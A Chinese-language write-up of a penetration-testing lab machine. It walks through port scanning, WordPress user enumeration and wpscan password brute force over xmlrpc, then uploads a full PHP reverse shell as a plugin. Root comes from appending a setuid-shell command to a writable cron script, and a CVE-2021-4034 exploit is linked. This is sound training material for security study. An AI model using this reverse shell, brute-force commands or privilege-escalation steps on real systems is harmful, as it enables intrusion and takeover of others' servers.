开始:
看一下本地IP
21有未授权访问的话,就从21先看起
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.49.61
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_ 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp open tcpwrapped
80/tcp open http PHP cli server 5.5 or later
|_http-title: 404 Not Found
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open tcpwrapped
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 11
| Capabilities flags: 63487
| Some Capabilities: IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, FoundRows, LongPassword, Support41Auth, LongColumnFlag, Speaks41ProtocolOld, SupportsLoadDataLocal, SupportsTransactions, IgnoreSigpipes, ODBCClient, InteractiveClient, SupportsCompression, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: \x08v\x1EWjPcb"S\x7F&XE\x0FJ>U\x15p
|_ Auth Plugin Name: mysql_native_password
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2025-03-04T00:23:45
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: red
| NetBIOS computer name: RED\x00
| Domain name: \x00
| FQDN: red
|_ System time: 2025-03-04T00:23:45+00:00
连接ftp用get命令下载后,打开note文件发现无太重要的信息,就获得了两个人名,不过还是先做记录万一后续可能需要爆破
接下来我们去看看80端口有什么好玩的新消息,很好看起来需要小小的爆破一下目录,放心源代码里无提示消息,无需关注
开始用dirsearch爆破目录(有人问为啥用dirsearch而不用goubuster,那是因为dirsearch不用带爆破字典少了一个输入命令,所以我基本只有在dirsearch爆不出来什么有效信息时才会启用gobuster),ok,80端口什么也爆不出来,这仨文件也没啥用,现在就剩一个139端口,但是根据我往常的经验139端口如果运气好可能会获得票据,然后ssh或者mysql登录,但是这可是个中等靶场,所以不可能很简单,回忆下我们枚举的的方式可能出在枚举端口上面了,因为那个枚举端口的命令只能到10000,而无法覆盖65535个端口,所以我们需要再枚举一遍端口,看有无新东西产生
OK,果然是没有枚举全端口,导致遗漏了一个http服务的端口,让我们去访问这个端口底下的消息
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
发现了一个界面,但无功能点,可能需要爆破一下目录,同时网页源代码还是什么都没有无需关注
尝试爆破目录,还是一无所有,反而比80端口更干净了,啥也没爆出来,我这是以为找错了方向
于是我又来看看139端口有没有什么惊喜,发现了两个目录,下载了几个文件结果感觉还是没有收获到什么,我一度陷入了迷茫
我后来突然想到http协议不行,那https呢,靠背不加不知道,一加吓一跳,出现了一个新的界面,我又重新燃了起来
尝试爆破新页面,看有无收获,果然这个界面可以扫出有用的信息,phpmyadmin暂时不用看,因为没有用户名和密码,我们可以先去看robots.txt文件,看看有没有什么有趣的路径
有两个有趣的路径,那必须挨个访问一下
第一个吃了个闭门羹,不过不要紧我们还有一个路径,接着访问
来到了一个不知道什么东西的界面,点了一下home,跳转到了这个界面
从这里我们大概可以看到一个关键字wordpress,有了wordpress那就必然离不开wpscan,但是光是这一个界面有带你缺乏功能点,我们应该再试着爆破一下,目录底下还有哪些东西可以访问
老样子继续爆目录,这里可以看到许多目录呀,登录口也找到了,那就可以放心的上wpscan了
小小登录口,这就是我们的主要战场了,希望wpscan给点力可以爆出有用的管理员票据
wpscan --url https://192.168.60.148:12380/blogblog/ --disable-tls-checchecks --enumerate u >> 1.txt
我将wpscan扫描的用户输出到一个文本中,方便我们查看,省的界面杂乱无章
这个是我们从之前wpscan枚举出来的用户,一个一个复制下来保存在文件中,然后使用这条命令进行组合爆破xmlrpc界面,原因是xmlrpc对爆破无限制,所以我们的速度会更快
wpscan --url https://192.168.60.148:12380/blogblog/ --disable-tls-checks --usernames name.txt --passwords /usr/share/wordlists/rockyou.txt --password-attack xmlrpc
这个界面就是普通用户的界面,功能点少的可怜,无法做到getshell
这四个均是普通用户,由于rockyou.txt太大了,我们每减少一个用户他的速度都可以大大提升,所以我们每测出一个用户的票据就从命令中删除一个用户,这样可以大大提高后面爆破的效率
成功结果展示
这个就是管理员账号,是不是截然不同,在这里我们通过上传马子夺取shell
这里我直接分享一下我常用的php马子大家改一下就行
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.49.60'; // CHANGE THIS
$port = 8888; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
然后这里跟我原先htb练的有点小出入,在htb里是直接改404.php然后弹shell,这里没有写的权限,所以只能转战插件了,我们这里用攻击IP加anonymous/anonymous成功上传马子
我们去这里可以看到我们上传的马子,设置好接听端口点击马子即可
这里可以看到我们成功接受到马子,但是shell好像受限了,我们可以使用我下面那条命令美化一下
就是这条命令
python3 -c 'import pty;pty.spawn("/bin/bash")'
然后就是上传linpea.sh进行信息收集,这里我们可以看到一个脚本在运行
然后恰好linpeas告诉我可以修改这个脚本,那不是完美吗
看脚本有一句话,说明这个脚本纯是空的添加任意bash命令即可,可以本地提权,也可以外连
这里我们用这条命令即可,稍等一会儿我们就可以在tmp目录下见到这个执行文件
echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-logrotate.sh
然后几分钟之后既可以看到这个exploit文件
这里直接执行这个exploit文件就是root权限,我这里犯了个傻,用来美化shell的命令,一下子降权了
这里就是错误示范,不要模仿
补充:
这里还有好几个方法可以用来提权,我是没想到在某个用户下的.bash_history文件可读,而且其中还包含着我特别想要的一个用户的密码,因为我感觉这个才是这个靶场想让你提权的方向,因为他在sudo组中,可以直接用sudo提权,那其实也给了我们一种额外的思路当一个靶场存在多个用户,一定要尝试在home目录下枚举他们的./bash_history,说不定会有特殊的惊喜
grep -rn "ssh"
然后同样这个版本Linux还存在CVE-2021-4034提权,我这里给大家列出来了,大家有兴趣的可以去尝试https://github.com/arthepsy/CVE-2021-4034.git
结尾:
这个靶场总结下来其实不是很难,但是可以学到很多东西,比如wordpress可以写马子到插件中进行打点,而不是常规的修改404.php文件,然后提权的话我尝试了挺多方法比如CVE-2021-3056因为这个是覆盖sudo从而进行提权,还有screen提权就是那个1.sh,不过也失败了,这个是我有点不服的因为这个screen版本完美符合我这个脚本,但还是失败了,如果有大佬可以指点我一下,行了其他方面也没啥说的了,这个靶场打了整整一天,心态劳累各位风紧扯呼,我先撤了,下期见